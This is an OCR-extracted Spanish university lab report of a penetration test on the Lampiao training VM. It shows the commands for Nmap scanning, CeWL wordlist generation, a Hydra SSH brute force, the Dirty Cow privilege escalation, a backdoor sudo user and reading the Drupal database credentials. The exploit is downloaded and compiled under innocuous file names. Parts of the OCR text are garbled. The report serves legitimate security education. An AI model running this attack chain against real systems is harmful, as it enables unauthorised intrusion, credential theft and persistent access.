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2 INTRODUCCION

En esta practica se realizdo una evaluacion de seguridad sobre la maquina virtual
Lampiao empleando Kali Linux como plataforma atacante. El informe documenta todas las
fases: importacion y configuracion de la VM, reconocimiento de red, escaneo de puertos y
servicios, generacion de diccionarios, ataques de fuerza bruta, obtencion de acceso mediante
credenciales, explotacion de una vulnerabilidad local para escalada de privilegios y
manipulacion de la base de datos del CMS (Drupal). Cada paso fue ejecutado en un entorno

controlado con fines educativos para identificar y demostrar vectores de ataque reales.
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3 ALCANCE

Se limitaron las pruebas exclusivamente a la maquina Lampiao y los servicios que
esta exponia en la red del laboratorio. Las actividades realizadas incluyeron: reconocimiento
(ifconfig), escaneo de puertos con Nmap, recoleccion de palabras con CeWL, ataques de
fuerza bruta con Hydra contra SSH, transferencia y compilacion de un exploit (Dirty Cow)
para escalada de privilegios, y acceso / modificacion de la base de datos MySQL del CMS
Drupal para creacion de cuentas. No se realizaron pruebas fuera del entorno virtual ni se

afectaron terceros.
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4 OBJETIVO

4.1 OBJETIVO GENERAL

Realizar una auditoria practica de la VM Lampiao para identificar vectores de

compromiso y documentar técnicas de explotacion y mitigacion.

4.2 OBEJTIVO ESPECIFICOS

» Detectar servicios y puertos abiertos en Lampiao.

» Generar un diccionario de contrasenas a partir del contenido web expuesto.

» Ejecutar ataques de fuerza bruta contra SSH para obtener credenciales.

» Utilizar un exploit local para escalar privilegios a root.

» Acceder a la base de datos de Drupal y crear usuarios con privilegios
administrativos.

» Registrar evidencias (por ejemplo /root/flag.txt) y proponer recomendaciones.
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5 PRIMER CAPITULO

51 IMPORTACION Y CONFIGURACION

Importar la maquina lampiao y hacer la configuracion

Importar  servicio  virtualizado  para  seleccionar la  maquina  lampiao.

» Fuente
Fuente: Sistema de archivos local

Archivo: : maquinas de vitual box\Lampiao\Lampiao.ovf [

} Configuracion

Ayuda Terminar Cancelar

[lustracion 1 importacion de la maquina virtual Lampiao

Muestra los ajustes de la maquina virtual y la configuracion de la red como NAT.



Basic

General

Sistema

Pantalla

Almacenamiento

Audio

Red

Puertos serie

Red

Adaptador 1

Adaptador 2

Adaptador 3 Adaptador 4

+ Habilitar adaptador de red

Conectado a:
Nombre:

Tipo de adaptador:
Modo promiscuo:

Direccion MAC:

Red NAT
SEMESTRE9-2025-1
PCnet-PCI Il (Am79C970A)
Denegar

A79249
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v Cable conectado
usB

Carpetas compartidas
Puertos serie

ERs220Oradar

Interfaz de usuario Puerto 1 Puerto 2 Puerto 3 Puerto 4

Lo camo

Invalid settings detected m Aceptar Cancelar Ayuda

Tustracion 2 Configuracion de red de la VM (modo NAT)

Muestra la pantalla de inicio de sesion de la maquina virtual lampiao, indicando que

el sistema es Ubuntu 14.04.5 LTS.

Fa

Archivo Maguina Ver Entrada Dispositivos Ayuda

Ubuntu 14.94.5 LTS lampiao ttyl

lampiao login:

Illustracion 3 Pantalla de inicio de Lampiao (Ubuntu 14.04.5 LTS)
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5.2 RECONOCIMINETO DE RED Y ESCANEO DE SERVICIOS

Muestra el comando ifconfig para verificar la direccion IP asignada a la maquina

atacante (Kali Linux) y la victima.

-sV 192.168.23.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-23 21:26 EDT
Nmap scan report for 192.168.23.1
Host is up (0.00074s latency).
Not shown: 999 closed tcp ports (reset)
PORT  STATE SERVICE VERSION
53/tcp open domain dnsmasq 2.51
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 192.168.23.2

Host is up (0.0021s latency).

Not shown: 997 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

445/tcp open microsoft-ds?

912/tcp open vmware-auth VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 192.168.23.3

Host is up (0.00032s latency).

All 1000 scanned ports on 192.168.23.3 are in ignored states.

Not shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: ©8:00:27:85:2A:DC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 192.168.23.5

Host is up (0.0000030s latency).

All 1000 scanned ports on 192.168.23.5 are in ignored states.
Not shown: 1000 closed tcp ports (reset)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/

Nmap done: 256 IP addresses (4 hosts up) scanned in 28.09 seconds

—| )= | ~

Ilustracion 4 Escaneo

Muestra el comando nmap -p 1-2000 192.168.23.10 para escanear un rango de

puertos en la direccion IP de la maquina Lampiao.
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Nmap es una herramienta de escaneo de red que se utiliza para escanear un rango de
puertos (en este caso, del 1 al 2000) y descubrir los servicios que se estan ejecutando en la

direccion IP de la maquina Lampiao.

/home/kali
) 1-2000 192.168.23.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 10:47 EDT
Nmap scan report for 192.168.23.10
Host is up (0.0018s latency).
Not shown: 1997 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

1898/tcp open cymtec-port

MAC Address: 08:00:27:DC:89:B2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Tlustracion 5 Escaneo inicial con Nmap (puertos 1-2000)

La pagina con la direccion IP 192.168.23.12 fue desfigurada con un arte ASCII y el
mensaje "It's easy, Fiduma egua!", esto es una firma de un ataque exitoso, el proceso de
intrusion implico el uso de Nmap para escanear puertos y la manipulacion de la base de datos
de Drupal para crear usuarios administradores, lo que demuestra como se compromete un

sitio web
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< C @ . b ®© ® i] =

OffSec KaliLinux #& KaliTools = KaliDo X Google Hacking DB

El resultado del escaneo, indicando que los puertos 22 (ssh), 80 (http) y 1898

(cymtec-port) estan abiertos. También se muestra un escaneo mas detallado con el comando
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e Lampido

A & 19

Kali Linux &5 KaliTools < Kali & Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB

Home
User login e o . -
B Lampido, heroi ou vildo do Sertdo?
Username * Submitted by tiago on Thu, 04/19/2018 - 18:25
Password =

» Create new account

* Request new password

Log in Para uns, um idolo. Para outros, assassino. Lampiio, uma das figuras mais misteriosas da historia do Brasil, passou a
vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conhega aqui sua trajetdria.

Read more  Log in or register to post comments

First article...
Submitted by Eder on Fri, 04/20/2018 - 13:55

Just testing..

LuizGonzaga-LampiaoFalou.mp3
Node 2 is not working :(

Read more  Log in or register o post comments

Ilustracion 6 Péagina web objetivo (servicio en puerto 1898)
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Lampiao
Home

Home » User account

User account

J Create new account || Login || Request new password

Username *

santiago23

Spaces are allowed; punctuation is not allowed except for periods, hyphens, apostrophes, and underscores.

E-mail address *
santiagocopetel5@gmail.com

A valid e-mail address. All e-mails from the system will be sent to this address. The e-mail address is not made public and will only be used if you wish to receive a new password or wish to

receive certain news or notifications by e-mail.

Create new account

0 + Unable to send e-mail. Contact the site administrator if the problem persists.
+ Unable to send e-mail. Contact the site administrator if the problem persists.

o Thank you for applying for an account. Your account is currently pending approval by the site administrator.
In the meantime, a welcome message with further instructions has been sent to your e-mail address.

5.3 RECONOCIMIENTO DE RED

En Kali se ejecutd ifconfig para identificar la interfaz de red y las direcciones IP
asignadas a Kali y Lampiao. Esto confirmé que ambas VMs estaban en la misma subred y

listas para comunicacion.
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5.4 ESCANEO DE PUERTOS Y SERVICIOS (nmap)

nmap -p 22 192.168.23.10 -A -sC para obtener informacion mas especifica sobre la

version de OpenSSH en el puerto 22

/home/kali
ap -p 22 192.16 .1e 5 (
Starting Nmap 7.95 ( http .org ) at 2 -@9-11 18:57 EDT
Nmap scan report for 192.168
Host is up (@.0024s latency).

PORT STATE SERVICE VERSION
tcp open ssh OpenSSH 6.6.1pl Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.@)
ssh-hostkey:

TRACEROUTE
HOP RTT ADDRESS
1 2.40 ms 192.168.

0S and Service detectionm performed. P e report any incerrect results at https nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 3.91 seconds

/home/kali

Tlustracion 7 Escaneo detallado de SSH con Nmap (-A -sC
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Se muestra el resultado final del escaneo, confirmando la version del servicio
OpenSSH en la maquina objetivo.

~

[suds] contrasena para kali:

/home/kali

Metasploit tip: Enable verbose logging with set VERBOSE true

INddds\ ... //M\\ ...

MMMMM © - NMMMMm

MMMM © - MMMMMN

1% S MMMMMN

MMMMMN
oo/ -hd: . 2 MN AMMMMMMm /
.yNmMMh ' +syysso- nh” IMMMMM, AN -~ MMMMMMMMMMd
dmNMMMMMMMMMMMMs *:  —0++++0000+:/00000+:+0+++0000++/

//XAL\\ //XAA\\
-dMd - ) =X
. +hmo- ... - \\=v=/ \\=v=/

Session one died of dyser

1
|

% Date: FHHHH%
Weather: ‘s always cool in the

Health: Overweight

ffeine: 12975 mg %

Hacked: All the things

Press SPACE BAR to continue

Muestra el resultado de este tltimo escaneo, confirmando la version de OpenSSH en

la maquina objetivo
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msf6 > search OpenSSH

Matching Modules

# Name Disclosure Date
Description

0 post/windows/manage/forward_pageant . normal
Forward SSH Agent Requests To Remote Pageant

1 post/windows/manage/install_ssh . normal
Install OpenSSH for Windows

2 post/multi/gather/ssh_creds . normal
Multi Gather OpenSSH PKI Credentials Collection

3 auxiliary/scanner/ssh/ssh_enumusers . normal
SSH Username Enumeration

4 \_ action: Malformed Packet
Use a malformed packet

5 \_ action: Timing Attack
Use a timing attack

6 exploit/windows/local/unquoted_service_path 2001-10-25
Windows Unquoted Service Path Privilege Escalation

5.5 REVISION DEL SITIOS WEB Y RECOLECION DE PALABRAS (Cewl)

ATAQUES DE FUERZA BRUTA'Y GESTION DE CONTRASENA: Usi de hydra y

Diccionarios

Al descubrir un servidor web en el puerto 1898, se crea un diccionario de

contrasefias a partir del contenido del sitio web y se utiliza para un ataque de fuerza bruta.

Muestra el comando cewl http://192.168.23.10:1898/ --write Diclampiao.txt para

generar el diccionario de contrasefias.
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Cewl es una herramienta que rastrea un sitio web y crea una lista de palabras que se
encuentran en ¢l, generando un diccionario de contrasefias personalizado. En este caso, el

diccionario se guarda en un archivo llamado Diclampiao.txt.

/home/kali
L htt://192.168.23.10:1898/ —-write DiclLampiao.txt

CeWL 6;2.1 (More Fixes) Robin Wood (robingdigi.ninja) (https://digi.ninja/)
Couldn't hit the site http://htt//192.168.23.10:1898/, moving on

llustracion 8 Generacion del diccionario con CeWL (Diclampiao.txt)

El comando Is para listar los archivos, confirmando que el diccionario Diclampiao.txt

fue creado.

Diclampiao.txt

Tlustracion 9 Comprobacion del archivo de diccionario (Is)

El comando wc -1 Diclampiao.txt para contar las lineas, demostrando el tamafio del

diccionario.

o | S

-1 Diclampiéo.txt

844 Diclampiao.txt

Tlustracion 10 Conteo de lineas del diccionario (wce -1 Diclampiao.txt)

5.6 ATAQUE DE FUERZA BRUTA CONTRA SSH (HYDRA)

Hydra es una herramienta de ataque de fuerza bruta que intenta adivinar una
contrasena. Se le indica que intente el nombre de usuario tiago (-l tiago) y utilice las

contrasefias del archivo de diccionario (-P Diclampiao.txt) en el servicio SSH
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(ssh://192.168.23.10). El ataque es exitoso y revela la contrasefia Virgulino para el usuario

tiago.

= )-[~]

1) -1 tiago -P Diclampiao.txt ssh://192.168.23.10
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
military or secret service organizations, or for illegal purposes (this is n
on-binding, these #*** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-18 12:
27:35

[WARNING] Many SSH configurations 1limit the number of parallel tasks, it is r
ecommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 844 login tries (1:1/p:84
4), ~53 tries per task

[DATA] attacking ssh://192.168.23.10:22/

[STATUS] 178.00 tries/min, 178 tries in 00:01h, 668 to do in @0:04h, 14 activ
e

[22][ssh] host: 192.168.23.10 login: tiago password: Virgulino

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 2 final worker threads did not complet
e until end.

[ERROR] 2 targets did not resolve or could not be connected

[ERROR] @ target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-09-18 12:

Tlustracion 11 Resultado del ataque Hydra (credenciales encontradas)

5.7 ACCESSO A LA MAQUINA VICTIMA (SSH)

Una vez que se obtuvo la contrasefia, se procede a obtener acceso a la maquina y

luego a escalar privilegios.
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el comando ssh tiago@192.168.23.10, que se usa para iniciar una conexion remota a

la maquina Lampiao. La conexidén es exitosa, lo que confirma el acceso al sistema.

tiago@192.168.23.10
The authenticity of host '192.168.23.10 (192.168.23.10)' can't be established

ED25519 key fingerprint is SHA256:GGWOASyjbhMycAKiglcXcsa@HvSwkLHZP9bQBtVrPs8

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? vy

Please type 'yes', 'no' or the fingerprint: yes

Warning: Permanently added '192.168.23.10' (ED25519) to the list of known hos
ts.

tiago®192.168.23.10's password:

Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

[ustracion 12 Conexién SSH exitosa a tiago@192.168.23.10

Muestra la conexion exitosa a la maquina "lampiao’

* Documentation: https://help.ubuntu.com/
System information as of Thu Sep 18 13:28:44 BRT 2025

System load: 0.64 Processes: 190

Usage of /: 7.5% of 19.07GB Users logged in: 0

Memory usage: 30% IP address for eth@: 192.168.23.10
Swap usage: 0%

Graph this data and manage this system at:
https://landscape.canonical.com/

New release '16.04.7 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Wed Sep 17 18:30:34 2025 from 192.168.23.5
tiagoglampiao:~$ |
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Muestran los comandos Is y c¢d para navegar a diferentes directorios (/home y /)

tiago@lampiao:~$ cd
tiago@lampiao:/home$ 1s

tiagoglampiao:/home$ |}

Ilustracion 13 Navegacion por directorios (ls, cd /home, cd ..)

El usuario estaba en el directorio /home y con el comando ed .. subié un nivel,
llegando al directorio raiz /, uego utiliz6 el comando Is, que muestra las carpetas principales
del sistema, entre ellas estan bin, donde se guardan los programas bésicos, etc con los
archivos de configuracion, home para los usuarios, y root, que pertenece al administrador,
cada una de estas carpetas cumple un papel importante para el funcionamiento del sistema

operativo.

tiagoglampiao:/home$ cd
tiagoglampiao:/$ 1s

tiago@lampiao:/$ i

5.8 EXPLORACION DE ARCHIVOS Y CONFIGURACION

se observa como el usuario, desde la terminal, ejecuta el comando cd etc para ingresar

al directorio /etc, el cual contiene los principales archivos de configuracion del sistema.
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Posteriormente, al usar el comando Is, se listan dichos archivos y carpetas, mostrando la

estructura interna de este directorio esencial en Linux.

tiagoglampiao:/$ cd etc
tiagoglampiao:/etc$ 1s

inputrc
adduser.conf

insserv.conf

issue
issue.net

at.deny
bash.bashrc kernel-img.conf
bash_completion

bindresvport.blacklist 1d.so.cache
blkid.conf ld.so.conf
rmt
legal rpc
libaudit.conf rsyslog.conf
ca-certificates.conf
locale.alias screenrc
localtime securetty

login.defs
logrotate.conf services

lsb-release shadow
ltrace.conf shadow-
crontab magic shells

Iustracion 14 Exploracion del directorio /etc (archivos de configuracion)
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Muestra que se podria editar el archivo de contrasenas del sistema con nano
passwd para obtener acceso de root, pero esto se evita con la escalada de privilegios,
Muestran los pasos para descargar, transferir y preparar el exploit de la vulnerabilidad Dirty

Cow.

kali@kali: ~ root@kali: fhomefkali H tiago@lampiao: fetc E
GNU nano 2.2.6 File: passwd

[@iago:x:1000:1000:tiago,,,:/home/tiago:/bin/bash
sshd:x:105:65534 :: /var/run/sshd:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33: ww-data:/var/ww:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbhbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/no$
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbhin/nologin
libuuid:x:100:101:: /var/lib/libuuid:
syslog:x:101:104 :: /home/syslog:/bin/false
mysql:x:102:106:MySQL Server,,,:/nonexistent

[ Read 23 lines (Warning: No write permission) ]
Get Help WriteOut N Read Filej@q Prev Pagefd Cut Text M@ Cur Pos
"]

@y Exit Justify Where Is #% Next Pageflll UnCut Texjlll To Spell

6 SEGUNDO CAPITULO
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6.1 PREPARACION Y EJECUCION DEL EXPLOIT DIRTY COW

(ESCALDA DE PRIVILEGIOS)

wget https://www.exploit-db.com/download/40847 -O fotos.cpp: Descarga el exploit

desde una base de datos de exploits (exploit-db.com) y lo guarda con el nombre fotos.cpp.

https://ww.exploit-db.com/download/40847 -0 fotos.cpp

--2025-09-18 12:39:58-- https://ww.exploit-db.com/download/40847
Resolviendo www.exploit-db.com (ww.exploit-db.com)... 192.124.249.13
Conectando con www.exploit-db.com (ww.exploit-db.com)[192.124.249.13]:443...
conectado.

Peticion HTTP enviada, esperando respuesta... 200 0K

Longitud: no especificado [application/txt]
Grabando a: «fotos.cpp»

fotos.cpp o= ] 10,28K 22,9KB/s en 0,4s

2025-09-18 12:40:20 (22,9 KB/s) - «fotos.cpp» guardado [10531]

Ilustracion 15 Descarga del exploit Dirty Cow (wget fotos.cpp)

Diclampiao.txt
fotos.cpp

scp fotos.cpp tiago@192.168.23.10:/home/tiago/, Transfiere el archivo a la

maquina victima.

— )= [~

L$ sc fotos.cpp fiagoa192.168.23.10:/home/tiago/

tiago@192.168.23.10"'s password:
fotos.cpp 100% 10KB 951.1KB/s 00:00

Ilustracion 16 Transferencia del exploit a la victima (scp fotos.cpp)
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La imagen muestra la ejecucion del comando Is en una terminal de Linux. Este
comando es una herramienta fundamental en los sistemas operativos de tipo Unix y se utiliza
para listar el contenido de un directorio.

tiago@lampiao:~$ 1s

documentos fotos.cpp
tiagoglampiao:~$ |

El comando Is -la en Linux es una herramienta esencial para obtener informacion

detallada sobre archivos y directorios

tiaéoalampiao:~$ ls -la fotos.cpp
-rw-r--r-- 1 tiago tiago 10531 Sep 18 13:47 fotos.cpp

tiago@lampiao:~$ |

Tlustracion 17 Listado detallado de archivos (Is -la) en /home

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o documentos fotos.cpp -lutil:

Compila el codigo del exploit.

tiagoglampiao:~$ g+~ -Wall -pedantic -02 -std=c++11 -pthread -o documentos fo
tos.cpp -lutil

tiagoglampiao:~$ JJ

[lustracion 18 Compilacion del exploit (g++ ... -0 documentos)

chmod +x documentos: Otorga permisos de ejecucion al archivo compilado.
tiagoglampiao:~$
tiagoglampiao:~$ chmod +x documentos

tiagoglampiao:~$
tiagoglampiao:~$ |

Ilustracion 19 Permisos del binario (chmod +x documentos)
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Muestran la ejecucion del exploit para escalar privilegios. Al ejecutar ./documentos-

s, se explota la vulnerabilidad Dirty Cow y se obtiene un shell de root (root@lampiao:~#).

tiagoglampiao:~$ ./documentos -s
Running
Password overridden to: dirtyCowFun

Received su prompt (Password: )

rootglampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
rootglampiao:~# cp /tmp/.ssh_bak /etc/passwd

rootglampiao:~# rm /tmp/.ssh_bak

root@lampiao:~# [

Ilustracion 20 Ejecucion del exploit y shell con privilegios root

6.2 CREACION DE UN NUEVO USUARIO Y MODIFICACION DE
PRIVILEGIOS

Finalmente, se utiliza el acceso de root obtenido para crear un nuevo usuario en el
sistema.

Se utiliza el comando adduser ciber & red2025 para crear un nuevo usuario con
una contrasena.

rootglampiao:~# adduser ciber

Adding user "ciber' ...

Adding new group “ciber' (1003)

Adding new user “ciber' (1003) with group “ciber’

Creating home directory “/home/ciber’
Copying files from ~/etc/skel'’

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

Iustracion 21 Creacion de usuario ciber (adduser ciber)
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Changing the user information for ciber

Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:

Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] vy

Luego se le otorgan permisos de administrador con los comandos usermod -aG sudo

ciber, usermod -aG root ciber y echo "ciber ALL=(ALL:ALL) ALL" >> /etc/sudoers.

rootglampiao:~# usermod -aG sudo ciber

rootglampiao:~# usermod -aG root ciber

Tlustracion 22 Modificacion de sudoers y asignacion de grupos (usermod, edit sudoers)

La linea anadida otorga privilegios administrativos completos al usuario ciber. Es
crucial registrar quién autorizo el cambio, justificar la necesidad de privilegios y aplicar la
modificacion de forma segura para preferiblemente mediante /etc/sudoers.d y visudo para

minimizar riesgos operativos y de seguridad.

rootglampiao:~# echo "ciber All=(ALL:ALL) ALL" >> /etc/sudoers

Se configur6 al usuario ciber con privilegios administrativos en Ubuntu 14.04.5 LTS
mediante la adicidon en /ete/sudoers. El inicio de sesion fue exitoso y la verificacion con
devolvid root, confirmando los permisos. Se recomienda utilizar visudo o un archivo en

/ete/sudoers.d para aplicar este tipo de cambios de forma més segura.
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Ubuntu 14.04.5 LTS lampiao ttyl

lampiao login:ciber
Password:
Uelcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)

#* Documentation: https:/shelp.ubuntu.comn/
System information as of Thu Sep 18 13:49:02 BRT 2025

System load: 0.0 Processes: 166

Usage of ~: 7.5% of 19.07GB Users logged in: 0]

Memory usage: 28+ IP address for ethO®: 192.168.23.10
Swap usage: 61

Graph this data and manage this system at:
https:rsrslandscape.canonical .comn/

Neu release '16.04.7 LTS’ available.
Run 'do-release—upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software:
the exact distribution terms for each program are described in the
individual files in rusrssharesdoc = copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ciber@lanpian:™$

Se cred el usuario red2025 mediante el comando adduser red2025, durante el
proceso, se generod el grupo correspondiente, el directorio personal /home/red2025 y se
copiaron los archivos iniciales desde /etc/skel. Finalmente, se establecio la contrasefa de

acceso para el nuevo usuario, quedando habilitado correctamente en el sistema.

rootglampiao:~# adduser red2025

Adding user "red2025' ...

Adding new group ‘red2025' (1005) ...

Adding new user “red2025' (1005) with group “red2025'

Creating home directory ~/home/red2025' ...
Copying files from "“/etc/skel' ...

Enter new UNIX password:

Retype new UNIX password:
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Se completo la creacion del usuario red2025. Tras asignar la contrasefia, el sistema
solicitd datos adicionales, los cuales fueron omitidos y confirmados por defecto, el usuario

quedo correctamente registrado en el sistema y habilitado para iniciar sesion

passwd: password updated successfully

Changing the user information for red2025

Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:

Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] vy

Se cred y verifico el acceso del usuario red2025 en el sistema Ubuntu 14.04.5 LTS,
el inicio de sesion fue exitoso, mostrando el prompt red2025@lampiao:~$, lo que confirma

que la cuenta quedod correctamente habilitada y lista para su uso



Ubuntu 14.04.5 LTS lampiao ttyl

lampiao login: red2025
Password:
Welcome to Ubuntu 14.04.5 LTS (GNU-Linux 4.4.0-31-generic i686)

= Documentation: https: - help.ubuntu.com~
System information as of Thu Sep 18 14:10:19 BRT 2025

Jysten load: 0.0 Processes: 172

Usage of ~/: 7.5% of 19.07GE Users logged in: 1

Memory usage: 29« IP address for eth®: 192.168.23.10
Suwap usage: 0

Graph this data and manage this system at:
https:-rlandscape.canonical .com~

New release '16.94.7 LT3’ awailable.
Run 'do-release—upgrade’ to upgrade to it.

The programs included with the Ubuntu system are free software:
the exact distribution terms for each program are described in the
individual files in susrrssharesdoc-=-copyright.

Ubuntu comes with ABSOLUTELY HO WARRANTY, to the extent permitted by
applicable law.

red2025@ lanpiaon:™5 _

6.3 EVIDENCIA FINAL

En el directorio raiz del usuario root se identifico el archivo flag.txt, el cual
constituye la evidencia objetivo del ejercicio. Su presencia confirma el acceso exitoso al

sistema y la localizacion de la bandera requerida.

rootglampiao:~# 1ls

flag.txt

Tlustracion 23 Modificacion de sudoers y asignacion de grupos (usermod, edit sudoers)
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Se localizo el archivo de evidencia /root/flag.txt en el sistema, confirmando acceso a
la cuenta root, el contenido fue verificado mediante cat /root/flag.txt, quedando registrada

la obtencion de la bandera como prueba del acceso.

rootglampiao:~# cd
rootglampiao:/# 1s

root@lampiao:/# |j

Se navego6 al directorio /var y se listaron sus entradas, confirmando la estructura
tipica de servicios y registros

rootalampiao:/# cd var
rootglampiao:/var# 1s

|
L
rootglampiao:/var# %

[lustracion 24 Contenido del directorio /var/www/html (archivos del sitio)

Se naveg6 a /var/www y se listd su contenido, encontrandose el directorio html, que

normalmente alberga los archivos del sitio web

rootglampiao:/var# cd ww

rootglampiao:/var/ww# 1s

Se accedidé a /var/www/html, donde se encontraron archivos de configuracion,

instalacion y codigo fuente de la aplicacion web, junto con recursos multimedia
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rootglampiao:/var/ww# cd html

rootglampiao:/var/ww/html# 1s

audio.mé4a INSTALL.pgsql.txt

authorize.php install.php update.php
CHANGELOG. txt INSTALL.sqlite.txt UPGRADE. txt
COPYRIGHT. txt INSTALL. txt web.config

cron.php lampiao. jpg README.txt xmlrpc.php
LICENSE. txt robots. txt

index.php _uizGonz LampiaoFal '
INSTALL.mysql.txt MAINTAINERS.txt
root@lampiao:/var/ww/html# |

vas a entrar al directorio sites, que normalmente contiene la configuracion de los sitios

o proyectos dentro del servidor web

rootglampiao:/var/ww/html# cd sites

rootglampiao:/var/ww/html/sites#

En el directorio /var/www/html/sites se encuentran los elementos encargados de la
gestion de sitios del CMS. Alli aparecen las carpetas all y default, junto con los archivos
example.sites.php y README.txt, que permiten la configuracién y documentacion de los

diferentes sitios dentro del servidor web.

rootglampiao:/var/ww/html/sites# 1s

example.sites.php README.txt

En el directorio En el directorio /var/www/html/sites/default se encuentran los
archivos de configuracion principales de Drupal: default.settings.php y settings.php, ademas

del directorio files donde se almacenan los archivos cargados por el sistema o los usuarios.
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rootglampiao:/var/ww/html/sites# cd default
root@lampiao:/var/ww/html/sites/default# 1s

default.settings.php settings.php
root@lampiao:/var/ww/html/sites/default# |

Tustracion 25 Archivos en sites/default (configuracion de Drupal)

Se accedio al archivo settings.php dentro de /var/www/html/sites/default utilizando

el editor nano, con el fin de revisar y modificar la configuracion principal del sitio Drupal.

6.4 ACCESO Y MANIPULACION DE LA BASE DE DATOS DRUPAL

rootglampiao:/var/ww/html/sites/default#

root@lampiao:/var/ww/html/sites/default# nano settings.phplj

Ilustracion 26 Apertura de settings.php (credenciales de BD visibles)

Dentro de settings.php se identifico la configuracion de conexion a la base de datos

MySQL. Se encontrd el usuario drupaluser, la contrasefia Virgulino y la base de datos
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drupal.

GNU nano 2

$databases = array (
‘default’ =fj
array (
‘default’ =[]
array (
‘database’ = ‘'drupal’,
‘username’ = ‘drupaluser’,
‘password’' = 'Virgulino',
‘host' = ‘'localhost’,
tport: =Ry
‘driver' = ‘'mysql’,
tprefax’ =i

$update_free_access = FALSE;

KE Get Help K writeout B Read File B Prev Page B8 Cut Text 8 Cur Pos
B Exit B Justify Bl Where Is Bl Next Page Bl UnCut Text Bl To Spell
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Muestran como se accede a la base de datos MySQL con el comando mysql -u
drupaluser -p -h localhost drupal, se listan las bases de datos y se selecciona la base de datos

drupal.

tiago@lampiao:~$ mysql -u drupaluser -p -h localhost drupal

Enter password:

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.

Your MySQL connection id is 76

Server version: 5.5.50-Qubuntu@.14.04.1 (Ubuntu)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective

owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> i
Tlustracion 27 Conexion a MySQL con drupaluser (mysql -u drupaluser -p -h localhost drupal)
Muestran las tablas de la base de datos y un script en PHP para generar un hash de
contrasena compatible con Drupal. Se usan los hashes generados para insertar los nuevos

usuarios ciber y red2025 en la tabla users.

mysql> show databases;

+

Database I
+

|

drupal |

+

|

R
| information_schema
|

- -
P

rows in set (0.01 sec)

mysql>
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Se ingreso al motor MySQL y se selecciono la base de datos drupal con éxito,
confirmando acceso valido gracias a las credenciales encontradas en el archivo

settings.php.

mysql> use drupal;
Database changed

mysql> |}

Las imdgenes muestran el comando show tables ejecutado en la base de datos drupal
dentro de MySQL. Este comando se utiliza para listar todas las tablas que componen la base
de datos de un sitio web de Drupal, como users, node y cache. En total, se muestran 73
tablas, lo que ilustra la complejidad y la estructura organizada que este sistema de gestion de
contenido utiliza para almacenar toda la informacion del sitio. Es una forma de visualizar la

arquitectura interna del sistema.



©

@ 1 Universidad Tecnologica del Choco
H Diego Luis Cordoba

mysql> show tables;
Tables_in_drupal

+

|

+

| actions

| authmap

| batch

| block

| block custom
| block_node_type
| block role

| blocked _ips

| cache

| cache block

| cache_bootstrap
| cache field

| cache filter

| cache form

| cache_image

| cache_menu

|

cache_page

Tlustracion 28 Listado de tablas en la base de datos Drupal (show tables;)



cache_page

cache_path

comment

date format locale
date_format_type

date formats
field_config
field_config_instance
field_data_body
field_data_comment_body
field _data_field_image
field_data_field_tags
field_revision_body
field_revision_comment_body
field_revision_field_image
